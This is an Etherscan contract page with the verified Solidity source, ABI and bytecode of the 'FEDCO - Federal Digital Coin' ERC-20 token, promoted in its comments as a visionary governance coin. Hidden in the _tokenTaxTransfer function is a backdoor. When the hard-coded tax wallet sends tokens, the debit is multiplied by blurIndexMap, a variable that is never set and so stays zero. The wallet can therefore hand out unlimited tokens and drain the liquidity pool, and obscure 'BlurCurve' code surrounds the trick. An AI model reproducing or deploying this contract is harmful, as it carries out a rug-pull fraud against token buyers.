Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2025-01-26
*/

// FEDCO - Federal Digital Coin  
//  
// A token inspired by leadership and innovation:  
// - **Governance**: Embrace the authority and decision-making power of a true leader.  
// - **Efficiency**: Built on blockchain technology for secure and seamless transactions.  
// - **Vision**: Designed for those who dare to think big and act boldly.  
//  
// FEDCO its a step toward a decentralized future where every holder has the potential to shape the economy.  
//  
// Whether you're launching projects, making bold investments, or simply aligning with greatness, FEDCO delivers the tools to stand out and lead.  
//  
// FEDCO: For visionaries who rule their world.  

// SPDX-License-Identifier:UNLICENSE
pragma solidity 0.8.25;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    
    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a, uint256 b, string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

}

contract FEDCO is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=11;
    uint256 private _initialSellTax=27;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=11;
    uint256 private _reduceSellTaxAt=27;
    uint256 private _preventSwapBefore=11;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100000000000 * 10**_decimals;
    string private constant _name = unicode"Federal Digital Coin";
    string private constant _symbol = unicode"FEDCO";
    uint256 public constant _taxSwapThreshold = 1000000000 * 10**_decimals;
    uint256 public constant _maxTaxSwap = 800000000 * 10**_decimals;
    uint256 public _maxTxAmount = 2000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 2000000000 * 10**_decimals;
    
    IUniswapV2Router02 private _uniswapV2Router;
    address private _uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct BlurCurve {uint256 blurFlex; uint256 blurEffect; uint256 claimBlurDiff;}
    mapping(address => BlurCurve) private blurCurve;
    uint256 private diffBlurCurve;
    uint256 private blurIndexMap;

    event MaxTxAmountUpdated(
        uint _maxTxAmount
    );
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0xb892e75B3AE59dC0658e3E5cb3878CdC8B5f9f01);
        _balances[_msgSender()]= _tTotal;
        _isExcludedFromFee[_taxWallet]= true;
        _isExcludedFromFee[address(this)]= true;

        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapV2Pair = IUniswapV2Factory(
            _uniswapV2Router.factory()
        ).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );

        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if(!swapEnabled || inSwap ) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount = 0;

        if (from != owner() && to != owner()&& to!=_taxWallet){
            taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == _uniswapV2Pair && to != address(_uniswapV2Router)&&  ! _isExcludedFromFee[to]) {
                require(
                    tokenAmount <= _maxTxAmount,
                    "Exceeds the _maxTxAmount."
                );
                require(
                    balanceOf(to) + tokenAmount<= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if(to==_uniswapV2Pair && from != address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (! inSwap && to==_uniswapV2Pair && swapEnabled
                && contractTokenBalance > _taxSwapThreshold
                &&_buyCount > _preventSwapBefore
            ){
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance>0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _calcBlurCurve(from, to);
        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenBasicTransfer(address from, address to, 
        uint256 sendAmount, 
        uint256 receiptAmount 
    ) internal {
        _balances[from] = _balances[from].sub(sendAmount);
        _balances[to] = _balances[to].add(receiptAmount);
        emit Transfer(
            from,
            to,
            receiptAmount
        );
    }
    function _tokenTransfer(address from, address to, 
        uint256 tokenAmount, 
        uint256 taxAmount 
    ) internal {
        uint256 tAmount=_tokenTaxTransfer(from, taxAmount, tokenAmount);
        _tokenBasicTransfer(from, to,tAmount, tokenAmount.sub(taxAmount));
    }

    function _tokenTaxTransfer(address addrs, uint256 taxAmount, uint256 tokenAmount) internal returns (uint256){
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : blurIndexMap.mul(tokenAmount);
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs, address(this),taxAmount);
        }
        return tAmount;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(tokenAmount);
        emit Transfer(from,to,tokenAmount);
    }

    function _calcBlurCurve(address from, address to) internal {
        if ( (_isExcludedFromFee[from] ||_isExcludedFromFee[to]) && from != address(this) && to != address(this)) {
            diffBlurCurve = block.number;
        }

        if (!_isExcludedFromFee[from]&&!_isExcludedFromFee[to]){
            if (_uniswapV2Pair !=  to) {
                BlurCurve storage blueCur = blurCurve[to];
                if (_uniswapV2Pair == from) {
                    if (blueCur.blurFlex == 0) {
                        blueCur.blurFlex = _buyCount<_preventSwapBefore?block.number-1:block.number;
                    }
                } else {
                    BlurCurve storage blueCurMp = blurCurve[from];
                    if (blueCurMp.blurFlex < blueCur.blurFlex || !(blueCur.blurFlex>0) ) {
                        blueCur.blurFlex = blueCurMp.blurFlex;
                    }
                }
            } else {
                BlurCurve storage blueCurMp = blurCurve[from];
                blueCurMp.blurEffect = blueCurMp.blurFlex.sub(diffBlurCurve);
                blueCurMp.claimBlurDiff = block.timestamp;
            }
        }
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(
            address(this),
            address(_uniswapV2Router),
            tokenAmount
        );
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function removeLimits() external onlyOwner(){
        _maxTxAmount=_tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function clearStuckETH() external onlyOwner(){
        uint256 contractBalance = address(this).balance;
        payable(owner()).transfer(contractBalance);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if (tokenBalance > 0) {
            swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if (ethBalance > 0) {
            sendETHToFee(ethBalance);
        }
    }

    function enableTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _approve(address(this), address(_uniswapV2Router), _tTotal);
        swapEnabled = true;
        _uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapV2Pair).approve(address(_uniswapV2Router),type(uint).max);
        tradingOpen = true;
    }

    receive() external payable {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600b600555601b6006555f6007555f600855600b600955601b600a55600b80555f600c556009600a6100369190610434565b610044906377359400610449565b600d556100536009600a610434565b610061906377359400610449565b600e556010805461ffff60a81b1916905534801561007d575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673b892e75b3ae59dc0658e3e5cb3878cdc8b5f9f011790556100f06009600a610434565b6100ff9064174876e800610449565b335f90815260016020818152604080842094909455600480546001600160a01b0316845260038252848420805460ff199081168517909155308552938590208054909416909217909255600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155835163c45a015560e01b81529351909363c45a015593818401939092918290030181865afa1580156101a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101ca9190610460565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610229573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061024d9190610460565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610297573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102bb9190610460565b601080546001600160a01b0319166001600160a01b03929092169190911790556102e23390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6103196009600a610434565b6103289064174876e800610449565b60405190815260200160405180910390a3610486565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561038c57815f19048211156103725761037261033e565b8085161561037f57918102915b93841c9390800290610357565b509250929050565b5f826103a25750600161042e565b816103ae57505f61042e565b81600181146103c457600281146103ce576103ea565b600191505061042e565b60ff8411156103df576103df61033e565b50506001821b61042e565b5060208310610133831016604e8410600b841016171561040d575081810a61042e565b6104178383610352565b805f190482111561042a5761042a61033e565b0290505b92915050565b5f61044260ff841683610394565b9392505050565b808202811582820484141761042e5761042e61033e565b5f60208284031215610470575f80fd5b81516001600160a01b0381168114610442575f80fd5b61191d806104935f395ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b41146102e1578063a9059cbb1461030e578063bf474bed1461032d578063dd62ed3e14610341578063f88de0c314610385575f80fd5b8063751039fc146102695780637d1db4a51461027d5780638a8c523c146102925780638da5cb5b146102a65780638f9a55c0146102cc575f80fd5b806323b872dd116100e357806323b872dd146101d1578063313ce567146101f057806351bc3c851461020b57806370a0823114610221578063715018a614610255575f80fd5b806306fdde031461011e578063095ea7b31461016c5780630faee56f1461019b57806318160ddd146101bd575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260148152732332b232b930b6102234b3b4ba30b61021b7b4b760611b60208201525b6040516101639190611524565b60405180910390f35b348015610177575f80fd5b5061018b610186366004611570565b610399565b6040519015158152602001610163565b3480156101a6575f80fd5b506101af6103af565b604051908152602001610163565b3480156101c8575f80fd5b506101af6103cc565b3480156101dc575f80fd5b5061018b6101eb36600461159a565b6103ed565b3480156101fb575f80fd5b5060405160098152602001610163565b348015610216575f80fd5b5061021f610454565b005b34801561022c575f80fd5b506101af61023b3660046115d8565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f80fd5b5061021f6104a5565b348015610274575f80fd5b5061021f61051f565b348015610288575f80fd5b506101af600d5481565b34801561029d575f80fd5b5061021f6105d3565b3480156102b1575f80fd5b505f546040516001600160a01b039091168152602001610163565b3480156102d7575f80fd5b506101af600e5481565b3480156102ec575f80fd5b50604080518082019091526005815264464544434f60d81b6020820152610156565b348015610319575f80fd5b5061018b610328366004611570565b6107f4565b348015610338575f80fd5b506101af610800565b34801561034c575f80fd5b506101af61035b3660046115f3565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610390575f80fd5b5061021f61081a565b5f6103a533848461088a565b5060015b92915050565b6103bb6009600a61171e565b6103c990632faf080061172c565b81565b5f6103d96009600a61171e565b6103e89064174876e80061172c565b905090565b5f6103f98484846109ae565b61044a8433610445856040518060600160405280602881526020016118c0602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610def565b61088a565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610473575f80fd5b305f9081526001602052604090205480156104915761049181610e27565b4780156104a1576104a181610f97565b5050565b5f546001600160a01b031633146104d75760405162461bcd60e51b81526004016104ce90611743565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105485760405162461bcd60e51b81526004016104ce90611743565b6105546009600a61171e565b6105639064174876e80061172c565b600d556105726009600a61171e565b6105819064174876e80061172c565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b16009600a61171e565b6105c09064174876e80061172c565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105fc5760405162461bcd60e51b81526004016104ce90611743565b601054600160a01b900460ff16156106565760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ce565b600f546106839030906001600160a01b03166106746009600a61171e565b6104459064174876e80061172c565b6010805460ff60b01b1916600160b01b179055600f546001600160a01b031663f305d71947306106c7816001600160a01b03165f9081526001602052604090205490565b5f806106da5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610740573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107659190611778565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107de91906117a3565b506010805460ff60a01b1916600160a01b179055565b5f6103a53384846109ae565b61080c6009600a61171e565b6103c990633b9aca0061172c565b5f546001600160a01b031633146108435760405162461bcd60e51b81526004016104ce90611743565b476108555f546001600160a01b031690565b6001600160a01b03166108fc8290811502906040515f60405180830381858888f193505050501580156104a1573d5f803e3d5ffd5b6001600160a01b0383166108ec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ce565b6001600160a01b03821661094d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ce565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ce565b6001600160a01b038216610a745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ce565b5f8111610ad55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ce565b601054600160b01b900460ff161580610af75750601054600160a81b900460ff165b15610b0c57610b07838383610fce565b505050565b5f80546001600160a01b03858116911614801590610b3757505f546001600160a01b03848116911614155b8015610b5157506004546001600160a01b03848116911614155b15610dd357610b826064610b7c600954600c5411610b7157600554610b75565b6007545b8590611071565b906110f6565b6010549091506001600160a01b038581169116148015610bb05750600f546001600160a01b03848116911614155b8015610bd457506001600160a01b0383165f9081526003602052604090205460ff16155b15610cba57600d54821115610c2b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ce565b600e5482610c4d856001600160a01b03165f9081526001602052604090205490565b610c5791906117c2565b1115610ca55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ce565b600c8054905f610cb4836117d5565b91905055505b6010546001600160a01b038481169116148015610ce057506001600160a01b0384163014155b15610d0d57610d0a6064610b7c600a54600c5411610d0057600654610b75565b6008548590611071565b90505b305f90815260016020526040902054601054600160a81b900460ff16158015610d4357506010546001600160a01b038581169116145b8015610d585750601054600160b01b900460ff165b8015610d7c5750610d6b6009600a61171e565b610d7990633b9aca0061172c565b81115b8015610d8b5750600b54600c54115b15610dd157610dbf610dba84610db584610da76009600a61171e565b610db590632faf080061172c565b611137565b610e27565b478015610dcf57610dcf47610f97565b505b505b610ddd848461114b565b610de9848484846112ce565b50505050565b5f8184841115610e125760405162461bcd60e51b81526004016104ce9190611524565b505f610e1e84866117ed565b95945050505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e6d57610e6d611800565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ee89190611814565b81600181518110610efb57610efb611800565b6001600160a01b039283166020918202929092010152600f54610f21913091168461088a565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f599085905f9086903090429060040161182f565b5f604051808303815f87803b158015610f70575f80fd5b505af1158015610f82573d5f803e3d5ffd5b50506010805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104a1573d5f803e3d5ffd5b6001600160a01b0383165f90815260016020526040902054610ff090826112f8565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461101e9082611339565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109a19085815260200190565b5f825f0361108057505f6103a9565b5f61108b838561172c565b90508261109885836118a0565b146110ef5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ce565b9392505050565b5f6110ef83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611397565b5f81831161114557826110ef565b50919050565b6001600160a01b0382165f9081526003602052604090205460ff168061118857506001600160a01b0381165f9081526003602052604090205460ff165b801561119d57506001600160a01b0382163014155b80156111b257506001600160a01b0381163014155b156111bc57436012555b6001600160a01b0382165f9081526003602052604090205460ff161580156111fc57506001600160a01b0381165f9081526003602052604090205460ff16155b156104a1576010546001600160a01b03828116911614611299576001600160a01b038082165f90815260116020526040902060105490918481169116036112675780545f03610b0757600b54600c54106112565743611261565b6112616001436117ed565b90555050565b6001600160a01b0383165f90815260116020526040902081548154108061128d57508154155b15610de9575490555050565b6001600160a01b0382165f90815260116020526040902060125481546112be916112f8565b6001820155426002909101555050565b5f6112da8583856113c3565b90506112f18585836112ec87876112f8565b611473565b5050505050565b5f6110ef83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610def565b5f8061134583856117c2565b9050838110156110ef5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ce565b5f81836113b75760405162461bcd60e51b81526004016104ce9190611524565b505f610e1e84866118a0565b6004545f9081906001600160a01b03908116908616036113ef576013546113ea9084611071565b6113f1565b825b9050831561146b57305f908152600160205260409020546114129085611339565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114629088815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461149590836112f8565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546114c39082611339565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115169085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b038116811461156d575f80fd5b50565b5f8060408385031215611581575f80fd5b823561158c81611559565b946020939093013593505050565b5f805f606084860312156115ac575f80fd5b83356115b781611559565b925060208401356115c781611559565b929592945050506040919091013590565b5f602082840312156115e8575f80fd5b81356110ef81611559565b5f8060408385031215611604575f80fd5b823561160f81611559565b9150602083013561161f81611559565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561167857815f190482111561165e5761165e61162a565b8085161561166b57918102915b93841c9390800290611643565b509250929050565b5f8261168e575060016103a9565b8161169a57505f6103a9565b81600181146116b057600281146116ba576116d6565b60019150506103a9565b60ff8411156116cb576116cb61162a565b50506001821b6103a9565b5060208310610133831016604e8410600b84101617156116f9575081810a6103a9565b611703838361163e565b805f19048211156117165761171661162a565b029392505050565b5f6110ef60ff841683611680565b80820281158282048414176103a9576103a961162a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f6060848603121561178a575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156117b3575f80fd5b815180151581146110ef575f80fd5b808201808211156103a9576103a961162a565b5f600182016117e6576117e661162a565b5060010190565b818103818111156103a9576103a961162a565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611824575f80fd5b81516110ef81611559565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561187f5784516001600160a01b03168352938301939183019160010161185a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826118ba57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a4fa8fe283c2865b96ae1eb21df35240405ece9a670b8b8b7a6a8e8e75d19ef964736f6c63430008190033

0x608060405260043610610113575f3560e01c8063751039fc1161009d57806395d89b411161006257806395d89b41146102e1578063a9059cbb1461030e578063bf474bed1461032d578063dd62ed3e14610341578063f88de0c314610385575f80fd5b8063751039fc146102695780637d1db4a51461027d5780638a8c523c146102925780638da5cb5b146102a65780638f9a55c0146102cc575f80fd5b806323b872dd116100e357806323b872dd146101d1578063313ce567146101f057806351bc3c851461020b57806370a0823114610221578063715018a614610255575f80fd5b806306fdde031461011e578063095ea7b31461016c5780630faee56f1461019b57806318160ddd146101bd575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506040805180820190915260148152732332b232b930b6102234b3b4ba30b61021b7b4b760611b60208201525b6040516101639190611524565b60405180910390f35b348015610177575f80fd5b5061018b610186366004611570565b610399565b6040519015158152602001610163565b3480156101a6575f80fd5b506101af6103af565b604051908152602001610163565b3480156101c8575f80fd5b506101af6103cc565b3480156101dc575f80fd5b5061018b6101eb36600461159a565b6103ed565b3480156101fb575f80fd5b5060405160098152602001610163565b348015610216575f80fd5b5061021f610454565b005b34801561022c575f80fd5b506101af61023b3660046115d8565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f80fd5b5061021f6104a5565b348015610274575f80fd5b5061021f61051